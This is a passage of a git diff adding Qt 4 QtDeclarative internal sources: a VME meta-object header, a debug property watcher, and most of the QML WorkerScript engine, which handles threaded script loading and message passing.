+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEVMEMETAOBJECT_P_H
+#define QDECLARATIVEVMEMETAOBJECT_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include "qdeclarative.h"
+
+#include <QtCore/QMetaObject>
+#include <QtCore/QBitArray>
+#include <QtCore/QPair>
+#include <QtGui/QColor>
+#include <QtCore/QDate>
+#include <QtCore/qlist.h>
+#include <QtCore/qdebug.h>
+
+#include <private/qobject_p.h>
+
+#include "private/qdeclarativeguard_p.h"
+#include "private/qdeclarativecompiler_p.h"
+#include "private/qdeclarativecontext_p.h"
+
+QT_BEGIN_NAMESPACE
+
+#define QML_ALIAS_FLAG_PTR 0x00000001
+
+struct QDeclarativeVMEMetaData
+{
+ short propertyCount;
+ short aliasCount;
+ short signalCount;
+ short methodCount;
+
+ struct AliasData {
+ int contextIdx;
+ int propertyIdx;
+ int flags;
+
+ bool isObjectAlias() const {
+ return propertyIdx == -1;
+ }
+ bool isPropertyAlias() const {
+ return !isObjectAlias() && !(propertyIdx & 0xFF000000);
+ }
+ bool isValueTypeAlias() const {
+ return !isObjectAlias() && (propertyIdx & 0xFF000000);
+ }
+ int propertyIndex() const {
+ return propertyIdx & 0x0000FFFF;
+ }
+ int valueTypeIndex() const {
+ return (propertyIdx & 0x00FF0000) >> 16;
+ }
+ int valueType() const {
+ return ((unsigned int)propertyIdx) >> 24;
+ }
+ };
+
+ struct PropertyData {
+ int propertyType;
+ };
+
+ struct MethodData {
+ int parameterCount;
+ int bodyOffset;
+ int bodyLength;
+ int lineNumber;
+ };
+
+ PropertyData *propertyData() const {
+ return (PropertyData *)(((const char *)this) + sizeof(QDeclarativeVMEMetaData));
+ }
+
+ AliasData *aliasData() const {
+ return (AliasData *)(propertyData() + propertyCount);
+ }
+
+ MethodData *methodData() const {
+ return (MethodData *)(aliasData() + aliasCount);
+ }
+};
+
+class QDeclarativeVMEVariant;
+class QDeclarativeRefCount;
+class QDeclarativeVMEMetaObject : public QAbstractDynamicMetaObject
+{
+public:
+ QDeclarativeVMEMetaObject(QObject *obj, const QMetaObject *other, const QDeclarativeVMEMetaData *data,
+ QDeclarativeCompiledData *compiledData);
+ ~QDeclarativeVMEMetaObject();
+
+ bool aliasTarget(int index, QObject **target, int *coreIndex, int *valueTypeIndex) const;
+ void registerInterceptor(int index, int valueIndex, QDeclarativePropertyValueInterceptor *interceptor);
+ QScriptValue vmeMethod(int index);
+ int vmeMethodLineNumber(int index);
+ void setVmeMethod(int index, const QScriptValue &);
+ QScriptValue vmeProperty(int index);
+ void setVMEProperty(int index, const QScriptValue &);
+
+ void connectAliasSignal(int index);
+
+protected:
+ virtual int metaCall(QMetaObject::Call _c, int _id, void **_a);
+
+private:
+ QObject *object;
+ QDeclarativeCompiledData *compiledData;
+ QDeclarativeGuardedContextData ctxt;
+
+ const QDeclarativeVMEMetaData *metaData;
+ int propOffset;
+ int methodOffset;
+
+ QDeclarativeVMEVariant *data;
+
+ void connectAlias(int aliasId);
+ QBitArray aConnected;
+ QBitArray aInterceptors;
+ QHash<int, QPair<int, QDeclarativePropertyValueInterceptor*> > interceptors;
+
+ QScriptValue *methods;
+ QScriptValue method(int);
+
+ QScriptValue readVarProperty(int);
+ QVariant readVarPropertyAsVariant(int);
+ void writeVarProperty(int, const QScriptValue &);
+ void writeVarProperty(int, const QVariant &);
+
+ QAbstractDynamicMetaObject *parent;
+
+ void listChanged(int);
+ class List : public QList<QObject*>
+ {
+ public:
+ List(int lpi) : notifyIndex(lpi) {}
+ int notifyIndex;
+ };
+ QList<List> listProperties;
+
+ static void list_append(QDeclarativeListProperty<QObject> *, QObject *);
+ static int list_count(QDeclarativeListProperty<QObject> *);
+ static QObject *list_at(QDeclarativeListProperty<QObject> *, int);
+ static void list_clear(QDeclarativeListProperty<QObject> *);
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEVMEMETAOBJECT_P_H
diff --git a/src/declarative/qml/qdeclarativewatcher.cpp b/src/declarative/qml/qdeclarativewatcher.cpp
new file mode 100644
index 00000000..de5f1489
--- /dev/null
+++ b/src/declarative/qml/qdeclarativewatcher.cpp
@@ -0,0 +1,188 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativewatcher_p.h"
+
+#include "qdeclarativeexpression.h"
+#include "qdeclarativecontext.h"
+#include "qdeclarative.h"
+
+#include <qdeclarativedebugservice_p.h>
+#include "private/qdeclarativeproperty_p.h"
+#include "private/qdeclarativevaluetype_p.h"
+
+#include <QtCore/qmetaobject.h>
+#include <QtCore/qdebug.h>
+
+QT_BEGIN_NAMESPACE
+
+
+class QDeclarativeWatchProxy : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeWatchProxy(int id,
+ QObject *object,
+ int debugId,
+ const QMetaProperty &prop,
+ QDeclarativeWatcher *parent = 0);
+
+ QDeclarativeWatchProxy(int id,
+ QDeclarativeExpression *exp,
+ int debugId,
+ QDeclarativeWatcher *parent = 0);
+
+public slots:
+ void notifyValueChanged();
+
+private:
+ friend class QDeclarativeWatcher;
+ int m_id;
+ QDeclarativeWatcher *m_watch;
+ QObject *m_object;
+ int m_debugId;
+ QMetaProperty m_property;
+
+ QDeclarativeExpression *m_expr;
+};
+
+QDeclarativeWatchProxy::QDeclarativeWatchProxy(int id,
+ QDeclarativeExpression *exp,
+ int debugId,
+ QDeclarativeWatcher *parent)
+: QObject(parent), m_id(id), m_watch(parent), m_object(0), m_debugId(debugId), m_expr(exp)
+{
+ QObject::connect(m_expr, SIGNAL(valueChanged()), this, SLOT(notifyValueChanged()));
+}
+
+QDeclarativeWatchProxy::QDeclarativeWatchProxy(int id,
+ QObject *object,
+ int debugId,
+ const QMetaProperty &prop,
+ QDeclarativeWatcher *parent)
+: QObject(parent), m_id(id), m_watch(parent), m_object(object), m_debugId(debugId), m_property(prop), m_expr(0)
+{
+ static int refreshIdx = -1;
+ if(refreshIdx == -1)
+ refreshIdx = QDeclarativeWatchProxy::staticMetaObject.indexOfMethod("notifyValueChanged()");
+
+ if (prop.hasNotifySignal())
+ QDeclarativePropertyPrivate::connect(m_object, prop.notifySignalIndex(), this, refreshIdx);
+}
+
+void QDeclarativeWatchProxy::notifyValueChanged()
+{
+ QVariant v;
+ if (m_expr)
+ v = m_expr->evaluate();
+ else if (QDeclarativeValueTypeFactory::isValueType(m_property.userType()))
+ v = m_property.read(m_object);
+
+ emit m_watch->propertyChanged(m_id, m_debugId, m_property, v);
+}
+
+
+QDeclarativeWatcher::QDeclarativeWatcher(QObject *parent)
+ : QObject(parent)
+{
+}
+
+bool QDeclarativeWatcher::addWatch(int id, quint32 debugId)
+{
+ QObject *object = QDeclarativeDebugService::objectForId(debugId);
+ if (object) {
+ int propCount = object->metaObject()->propertyCount();
+ for (int ii=0; ii<propCount; ii++)
+ addPropertyWatch(id, object, debugId, object->metaObject()->property(ii));
+ return true;
+ }
+ return false;
+}
+
+bool QDeclarativeWatcher::addWatch(int id, quint32 debugId, const QByteArray &property)
+{
+ QObject *object = QDeclarativeDebugService::objectForId(debugId);
+ if (object) {
+ int index = object->metaObject()->indexOfProperty(property.constData());
+ if (index >= 0) {
+ addPropertyWatch(id, object, debugId, object->metaObject()->property(index));
+ return true;
+ }
+ }
+ return false;
+}
+
+bool QDeclarativeWatcher::addWatch(int id, quint32 objectId, const QString &expr)
+{
+ QObject *object = QDeclarativeDebugService::objectForId(objectId);
+ QDeclarativeContext *context = qmlContext(object);
+ if (context) {
+ QDeclarativeExpression *exprObj = new QDeclarativeExpression(context, object, expr);
+ exprObj->setNotifyOnValueChanged(true);
+ QDeclarativeWatchProxy *proxy = new QDeclarativeWatchProxy(id, exprObj, objectId, this);
+ exprObj->setParent(proxy);
+ m_proxies[id].append(proxy);
+ proxy->notifyValueChanged();
+ return true;
+ }
+ return false;
+}
+
+void QDeclarativeWatcher::removeWatch(int id)
+{
+ if (!m_proxies.contains(id))
+ return;
+
+ QList<QPointer<QDeclarativeWatchProxy> > proxies = m_proxies.take(id);
+ qDeleteAll(proxies);
+}
+
+void QDeclarativeWatcher::addPropertyWatch(int id, QObject *object, quint32 debugId, const QMetaProperty &property)
+{
+ QDeclarativeWatchProxy *proxy = new QDeclarativeWatchProxy(id, object, debugId, property, this);
+ m_proxies[id].append(proxy);
+
+ proxy->notifyValueChanged();
+}
+
+QT_END_NAMESPACE
+
+#include <qdeclarativewatcher.moc>
diff --git a/src/declarative/qml/qdeclarativewatcher_p.h b/src/declarative/qml/qdeclarativewatcher_p.h
new file mode 100644
index 00000000..c8b31424
--- /dev/null
+++ b/src/declarative/qml/qdeclarativewatcher_p.h
@@ -0,0 +1,94 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#ifndef QDECLARATIVEWATCHER_P_H
+#define QDECLARATIVEWATCHER_P_H
+
+//
+// W A R N I N G
+// -------------
+//
+// This file is not part of the Qt API. It exists purely as an
+// implementation detail. This header file may change from version to
+// version without notice, or even be removed.
+//
+// We mean it.
+//
+
+#include <QtCore/qobject.h>
+#include <QtCore/qlist.h>
+#include <QtCore/qpair.h>
+#include <QtCore/qhash.h>
+#include <QtCore/qset.h>
+#include <QtCore/qpointer.h>
+
+QT_BEGIN_NAMESPACE
+
+class QDeclarativeWatchProxy;
+class QDeclarativeExpression;
+class QDeclarativeContext;
+class QMetaProperty;
+
+class QDeclarativeWatcher : public QObject
+{
+ Q_OBJECT
+public:
+ QDeclarativeWatcher(QObject * = 0);
+
+ bool addWatch(int id, quint32 objectId);
+ bool addWatch(int id, quint32 objectId, const QByteArray &property);
+ bool addWatch(int id, quint32 objectId, const QString &expr);
+
+ void removeWatch(int id);
+
+Q_SIGNALS:
+ void propertyChanged(int id, int objectId, const QMetaProperty &property, const QVariant &value);
+
+private:
+ friend class QDeclarativeWatchProxy;
+ void addPropertyWatch(int id, QObject *object, quint32 objectId, const QMetaProperty &property);
+
+ QHash<int, QList<QPointer<QDeclarativeWatchProxy> > > m_proxies;
+};
+
+QT_END_NAMESPACE
+
+#endif // QDECLARATIVEWATCHER_P_H
diff --git a/src/declarative/qml/qdeclarativeworkerscript.cpp b/src/declarative/qml/qdeclarativeworkerscript.cpp
new file mode 100644
index 00000000..be283eae
--- /dev/null
+++ b/src/declarative/qml/qdeclarativeworkerscript.cpp
@@ -0,0 +1,753 @@
+/****************************************************************************
+**
+** Copyright (C) 2012 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the QtDeclarative module of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** GNU Lesser General Public License Usage
+** This file may be used under the terms of the GNU Lesser General Public
+** License version 2.1 as published by the Free Software Foundation and
+** appearing in the file LICENSE.LGPL included in the packaging of this
+** file. Please review the following information to ensure the GNU Lesser
+** General Public License version 2.1 requirements will be met:
+** http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights. These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** GNU General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU General
+** Public License version 3.0 as published by the Free Software Foundation
+** and appearing in the file LICENSE.GPL included in the packaging of this
+** file. Please review the following information to ensure the GNU General
+** Public License version 3.0 requirements will be met:
+** http://www.gnu.org/copyleft/gpl.html.
+**
+** Other Usage
+** Alternatively, this file may be used in accordance with the terms and
+** conditions contained in a signed written agreement between you and Nokia.
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+****************************************************************************/
+
+#include "private/qdeclarativeworkerscript_p.h"
+#include "private/qdeclarativelistmodel_p.h"
+#include "private/qdeclarativelistmodelworkeragent_p.h"
+#include "private/qdeclarativeengine_p.h"
+#include "private/qdeclarativeexpression_p.h"
+
+#include <QtCore/qcoreevent.h>
+#include <QtCore/qcoreapplication.h>
+#include <QtCore/qdebug.h>
+#include <QtScript/qscriptengine.h>
+#include <QtCore/qmutex.h>
+#include <QtCore/qwaitcondition.h>
+#include <QtScript/qscriptvalueiterator.h>
+#include <QtCore/qfile.h>
+#include <QtCore/qdatetime.h>
+#include <QtNetwork/qnetworkaccessmanager.h>
+#include <QtDeclarative/qdeclarativeinfo.h>
+#include "qdeclarativenetworkaccessmanagerfactory.h"
+
+
+QT_BEGIN_NAMESPACE
+
+class WorkerDataEvent : public QEvent
+{
+public:
+ enum Type { WorkerData = QEvent::User };
+
+ WorkerDataEvent(int workerId, const QVariant &data);
+ virtual ~WorkerDataEvent();
+
+ int workerId() const;
+ QVariant data() const;
+
+private:
+ int m_id;
+ QVariant m_data;
+};
+
+class WorkerLoadEvent : public QEvent
+{
+public:
+ enum Type { WorkerLoad = WorkerDataEvent::WorkerData + 1 };
+
+ WorkerLoadEvent(int workerId, const QUrl &url);
+
+ int workerId() const;
+ QUrl url() const;
+
+private:
+ int m_id;
+ QUrl m_url;
+};
+
+class WorkerRemoveEvent : public QEvent
+{
+public:
+ enum Type { WorkerRemove = WorkerLoadEvent::WorkerLoad + 1 };
+
+ WorkerRemoveEvent(int workerId);
+
+ int workerId() const;
+
+private:
+ int m_id;
+};
+
+class WorkerErrorEvent : public QEvent
+{
+public:
+ enum Type { WorkerError = WorkerRemoveEvent::WorkerRemove + 1 };
+
+ WorkerErrorEvent(const QDeclarativeError &error);
+
+ QDeclarativeError error() const;
+
+private:
+ QDeclarativeError m_error;
+};
+
+class QDeclarativeWorkerScriptEnginePrivate : public QObject
+{
+ Q_OBJECT
+public:
+ enum WorkerEventTypes {
+ WorkerDestroyEvent = QEvent::User + 100
+ };
+
+ QDeclarativeWorkerScriptEnginePrivate(QDeclarativeEngine *eng);
+
+ struct ScriptEngine : public QDeclarativeScriptEngine
+ {
+ ScriptEngine(QDeclarativeWorkerScriptEnginePrivate *parent) : QDeclarativeScriptEngine(0), p(parent), accessManager(0) {}
+ ~ScriptEngine() { delete accessManager; }
+ QDeclarativeWorkerScriptEnginePrivate *p;
+ QNetworkAccessManager *accessManager;
+
+ virtual QNetworkAccessManager *networkAccessManager() {
+ if (!accessManager) {
+ if (p->qmlengine && p->qmlengine->networkAccessManagerFactory()) {
+ accessManager = p->qmlengine->networkAccessManagerFactory()->create(this);
+ } else {
+ accessManager = new QNetworkAccessManager(this);
+ }
+ }
+ return accessManager;
+ }
+ };
+ ScriptEngine *workerEngine;
+ static QDeclarativeWorkerScriptEnginePrivate *get(QScriptEngine *e) {
+ return static_cast<ScriptEngine *>(e)->p;
+ }
+
+ QDeclarativeEngine *qmlengine;
+
+ QMutex m_lock;
+ QWaitCondition m_wait;
+
+ struct WorkerScript {
+ WorkerScript();
+
+ int id;
+ QUrl source;
+ bool initialized;
+ QDeclarativeWorkerScript *owner;
+ QScriptValue object;
+
+ QScriptValue callback;
+ };
+
+ QHash<int, WorkerScript *> workers;
+ QScriptValue getWorker(int);
+
+ int m_nextId;
+
+ static QVariant scriptValueToVariant(const QScriptValue &);
+ static QScriptValue variantToScriptValue(const QVariant &, QScriptEngine *);
+
+ static QScriptValue onMessage(QScriptContext *ctxt, QScriptEngine *engine);
+ static QScriptValue sendMessage(QScriptContext *ctxt, QScriptEngine *engine);
+
+signals:
+ void stopThread();
+
+protected:
+ virtual bool event(QEvent *);
+
+private:
+ void processMessage(int, const QVariant &);
+ void processLoad(int, const QUrl &);
+ void reportScriptException(WorkerScript *);
+};
+
+QDeclarativeWorkerScriptEnginePrivate::QDeclarativeWorkerScriptEnginePrivate(QDeclarativeEngine *engine)
+: workerEngine(0), qmlengine(engine), m_nextId(0)
+{
+}
+
+QScriptValue QDeclarativeWorkerScriptEnginePrivate::onMessage(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ QDeclarativeWorkerScriptEnginePrivate *p = QDeclarativeWorkerScriptEnginePrivate::get(engine);
+
+ int id = ctxt->thisObject().data().toVariant().toInt();
+
+ WorkerScript *script = p->workers.value(id);
+ if (!script)
+ return engine->undefinedValue();
+
+ if (ctxt->argumentCount() >= 1)
+ script->callback = ctxt->argument(0);
+
+ return script->callback;
+}
+
+QScriptValue QDeclarativeWorkerScriptEnginePrivate::sendMessage(QScriptContext *ctxt, QScriptEngine *engine)
+{
+ if (!ctxt->argumentCount())
+ return engine->undefinedValue();
+
+ QDeclarativeWorkerScriptEnginePrivate *p = QDeclarativeWorkerScriptEnginePrivate::get(engine);
+
+ int id = ctxt->thisObject().data().toVariant().toInt();
+
+ WorkerScript *script = p->workers.value(id);
+ if (!script)
+ return engine->undefinedValue();
+
+ QMutexLocker(&p->m_lock);
+
+ if (script->owner)
+ QCoreApplication::postEvent(script->owner,
+ new WorkerDataEvent(0, scriptValueToVariant(ctxt->argument(0))));
+
+ return engine->undefinedValue();
+}
+
+QScriptValue QDeclarativeWorkerScriptEnginePrivate::getWorker(int id)
+{
+ QHash<int, WorkerScript *>::ConstIterator iter = workers.find(id);
+
+ if (iter == workers.end())
+ return workerEngine->nullValue();
+
+ WorkerScript *script = *iter;
+ if (!script->initialized) {
+
+ script->initialized = true;
+ script->object = workerEngine->newObject();
+
+ QScriptValue api = workerEngine->newObject();
+ api.setData(script->id);
+
+ api.setProperty(QLatin1String("onMessage"), workerEngine->newFunction(onMessage),
+ QScriptValue::PropertyGetter | QScriptValue::PropertySetter);
+ api.setProperty(QLatin1String("sendMessage"), workerEngine->newFunction(sendMessage));
+
+ script->object.setProperty(QLatin1String("WorkerScript"), api);
+ }
+
+ return script->object;
+}
+
+bool QDeclarativeWorkerScriptEnginePrivate::event(QEvent *event)
+{
+ if (event->type() == (QEvent::Type)WorkerDataEvent::WorkerData) {
+ WorkerDataEvent *workerEvent = static_cast<WorkerDataEvent *>(event);
+ processMessage(workerEvent->workerId(), workerEvent->data());
+ return true;
+ } else if (event->type() == (QEvent::Type)WorkerLoadEvent::WorkerLoad) {
+ WorkerLoadEvent *workerEvent = static_cast<WorkerLoadEvent *>(event);
+ processLoad(workerEvent->workerId(), workerEvent->url());
+ return true;
+ } else if (event->type() == (QEvent::Type)WorkerDestroyEvent) {
+ emit stopThread();
+ return true;
+ } else {
+ return QObject::event(event);
+ }
+}
+
+void QDeclarativeWorkerScriptEnginePrivate::processMessage(int id, const QVariant &data)
+{
+ WorkerScript *script = workers.value(id);
+ if (!script)
+ return;
+
+ if (script->callback.isFunction()) {
+ QScriptValue args = workerEngine->newArray(1);
+ args.setProperty(0, variantToScriptValue(data, workerEngine));
+
+ script->callback.call(script->object, args);
+
+ if (workerEngine->hasUncaughtException()) {
+ reportScriptException(script);
+ workerEngine->clearExceptions();
+ }
+ }
+}
+
+void QDeclarativeWorkerScriptEnginePrivate::processLoad(int id, const QUrl &url)
+{
+ if (url.isRelative())
+ return;
+
+ QString fileName = QDeclarativeEnginePrivate::urlToLocalFileOrQrc(url);
+
+ QFile f(fileName);
+ if (f.open(QIODevice::ReadOnly)) {
+ QByteArray data = f.readAll();
+ QString sourceCode = QString::fromUtf8(data);
+
+ QScriptValue activation = getWorker(id);
+
+ QScriptContext *ctxt = QScriptDeclarativeClass::pushCleanContext(workerEngine);
+ QScriptValue urlContext = workerEngine->newObject();
+ urlContext.setData(QScriptValue(workerEngine, url.toString()));
+ ctxt->pushScope(urlContext);
+ ctxt->pushScope(activation);
+ ctxt->setActivationObject(activation);
+ QDeclarativeScriptParser::extractPragmas(sourceCode);
+
+ workerEngine->baseUrl = url;
+ workerEngine->evaluate(sourceCode);
+
+ WorkerScript *script = workers.value(id);
+ if (script) {
+ script->source = url;
+ if (workerEngine->hasUncaughtException()) {
+ reportScriptException(script);
+ workerEngine->clearExceptions();
+ }
+ }
+
+ workerEngine->popContext();
+ } else {
+ qWarning().nospace() << "WorkerScript: Cannot find source file " << url.toString();
+ }
+}
+
+void QDeclarativeWorkerScriptEnginePrivate::reportScriptException(WorkerScript *script)
+{
+ if (!script || !workerEngine->hasUncaughtException())
+ return;
+
+ QDeclarativeError error;
+ QDeclarativeExpressionPrivate::exceptionToError(workerEngine, error);
+ error.setUrl(script->source);
+
+ QDeclarativeWorkerScriptEnginePrivate *p = QDeclarativeWorkerScriptEnginePrivate::get(workerEngine);
+
+ QMutexLocker(&p->m_lock);
+ if (script->owner)
+ QCoreApplication::postEvent(script->owner, new WorkerErrorEvent(error));
+}
+
+QVariant QDeclarativeWorkerScriptEnginePrivate::scriptValueToVariant(const QScriptValue &value)
+{
+ if (value.isBool()) {
+ return QVariant(value.toBool());
+ } else if (value.isString()) {
+ return QVariant(value.toString());
+ } else if (value.isNumber()) {
+ return QVariant((qreal)value.toNumber());
+ } else if (value.isDate()) {
+ return QVariant(value.toDateTime());
+#ifndef QT_NO_REGEXP
+ } else if (value.isRegExp()) {
+ return QVariant(value.toRegExp());
+#endif
+ } else if (value.isArray()) {
+ QVariantList list;
+
+ quint32 length = (quint32)value.property(QLatin1String("length")).toNumber();
+
+ for (quint32 ii = 0; ii < length; ++ii) {
+ QVariant v = scriptValueToVariant(value.property(ii));
+ list << v;
+ }
+
+ return QVariant(list);
+ } else if (value.isQObject()) {
+ QDeclarativeListModel *lm = qobject_cast<QDeclarativeListModel *>(value.toQObject());
+ if (lm) {
+ QDeclarativeListModelWorkerAgent *agent = lm->agent();
+ if (agent) {
+ QDeclarativeListModelWorkerAgent::VariantRef v(agent);
+ return QVariant::fromValue(v);
+ } else {
+ return QVariant();
+ }
+ } else {
+ // No other QObject's are allowed to be sent
+ return QVariant();
+ }
+ } else if (value.isObject()) {
+ QVariantHash hash;
+
+ QScriptValueIterator iter(value);
+
+ while (iter.hasNext()) {
+ iter.next();
+ hash.insert(iter.name(), scriptValueToVariant(iter.value()));
+ }
+
+ return QVariant(hash);
+ }
+
+ return QVariant();
+
+}
+
+QScriptValue QDeclarativeWorkerScriptEnginePrivate::variantToScriptValue(const QVariant &value, QScriptEngine *engine)
+{
+ if (value.userType() == QVariant::Bool) {
+ return QScriptValue(value.toBool());
+ } else if (value.userType() == QVariant::String) {
+ return QScriptValue(value.toString());
+ } else if (value.userType() == QMetaType::QReal) {
+ return QScriptValue(value.toReal());
+ } else if (value.userType() == QVariant::DateTime) {
+ return engine->newDate(value.toDateTime());
+#ifndef QT_NO_REGEXP
+ } else if (value.userType() == QVariant::RegExp) {
+ return engine->newRegExp(value.toRegExp());
+#endif
+ } else if (value.userType() == qMetaTypeId<QDeclarativeListModelWorkerAgent::VariantRef>()) {
+ QDeclarativeListModelWorkerAgent::VariantRef vr = qvariant_cast<QDeclarativeListModelWorkerAgent::VariantRef>(value);
+ if (vr.a->scriptEngine() == 0)
+ vr.a->setScriptEngine(engine);
+ else if (vr.a->scriptEngine() != engine)
+ return engine->nullValue();
+ QScriptValue o = engine->newQObject(vr.a);
+ o.setData(engine->newVariant(value)); // Keeps the agent ref so that it is cleaned up on gc
+ return o;
+ } else if (value.userType() == QMetaType::QVariantList) {
+ QVariantList list = qvariant_cast<QVariantList>(value);
+ QScriptValue rv = engine->newArray(list.count());
+
+ for (quint32 ii = 0; ii < quint32(list.count()); ++ii)
+ rv.setProperty(ii, variantToScriptValue(list.at(ii), engine));
+
+ return rv;
+ } else if (value.userType() == QMetaType::QVariantHash) {
+
+ QVariantHash hash = qvariant_cast<QVariantHash>(value);
+
+ QScriptValue rv = engine->newObject();
+
+ for (QVariantHash::ConstIterator iter = hash.begin(); iter != hash.end(); ++iter)
+ rv.setProperty(iter.key(), variantToScriptValue(iter.value(), engine));
+
+ return rv;
+ } else {
+ return engine->nullValue();
+ }
+}
+
+WorkerDataEvent::WorkerDataEvent(int workerId, const QVariant &data)
+: QEvent((QEvent::Type)WorkerData), m_id(workerId), m_data(data)
+{
+}
+
+WorkerDataEvent::~WorkerDataEvent()
+{
+}
+
+int WorkerDataEvent::workerId() const
+{
+ return m_id;
+}
+
+QVariant WorkerDataEvent::data() const
+{
+ return m_data;
+}
+
+WorkerLoadEvent::WorkerLoadEvent(int workerId, const QUrl &url)
+: QEvent((QEvent::Type)WorkerLoad), m_id(workerId), m_url(url)
+{
+}
+
+int WorkerLoadEvent::workerId() const
+{
+ return m_id;
+}
+
+QUrl WorkerLoadEvent::url() const
+{
+ return m_url;
+}
+
+WorkerRemoveEvent::WorkerRemoveEvent(int workerId)
+: QEvent((QEvent::Type)WorkerRemove), m_id(workerId)
+{
+}
+
+int WorkerRemoveEvent::workerId() const
+{
+ return m_id;
+}
+
+WorkerErrorEvent::WorkerErrorEvent(const QDeclarativeError &error)
+: QEvent((QEvent::Type)WorkerError), m_error(error)
+{
+}
+
+QDeclarativeError WorkerErrorEvent::error() const
+{
+ return m_error;
+}
+
+QDeclarativeWorkerScriptEngine::QDeclarativeWorkerScriptEngine(QDeclarativeEngine *parent)
+: QThread(parent), d(new QDeclarativeWorkerScriptEnginePrivate(parent))
+{
+ d->m_lock.lock();
+ connect(d, SIGNAL(stopThread()), this, SLOT(quit()), Qt::DirectConnection);
+ start(QThread::IdlePriority);
+ d->m_wait.wait(&d->m_lock);
+ d->moveToThread(this);
+ d->m_lock.unlock();
+}
+
+QDeclarativeWorkerScriptEngine::~QDeclarativeWorkerScriptEngine()
+{
+ d->m_lock.lock();
+ qDeleteAll(d->workers);
+ d->workers.clear();
+ QCoreApplication::postEvent(d, new QEvent((QEvent::Type)QDeclarativeWorkerScriptEnginePrivate::WorkerDestroyEvent));
+ d->m_lock.unlock();
+
+ wait();
+ d->deleteLater();
+}
+
+QDeclarativeWorkerScriptEnginePrivate::WorkerScript::WorkerScript()
+: id(-1), initialized(false), owner(0)
+{
+}
+
+int QDeclarativeWorkerScriptEngine::registerWorkerScript(QDeclarativeWorkerScript *owner)
+{
+ QDeclarativeWorkerScriptEnginePrivate::WorkerScript *script = new QDeclarativeWorkerScriptEnginePrivate::WorkerScript;
+ script->id = d->m_nextId++;
+ script->owner = owner;
+
+ d->m_lock.lock();
+ d->workers.insert(script->id, script);
+ d->m_lock.unlock();
+
+ return script->id;
+}
+
+void QDeclarativeWorkerScriptEngine::removeWorkerScript(int id)
+{
+ QCoreApplication::postEvent(d, new WorkerRemoveEvent(id));
+}
+
+void QDeclarativeWorkerScriptEngine::executeUrl(int id, const QUrl &url)
+{
+ QCoreApplication::postEvent(d, new WorkerLoadEvent(id, url));
+}
+
+void QDeclarativeWorkerScriptEngine::sendMessage(int id, const QVariant &data)
+{
+ QCoreApplication::postEvent(d, new WorkerDataEvent(id, data));
+}
+
+void QDeclarativeWorkerScriptEngine::run()
+{
+ d->m_lock.lock();
+
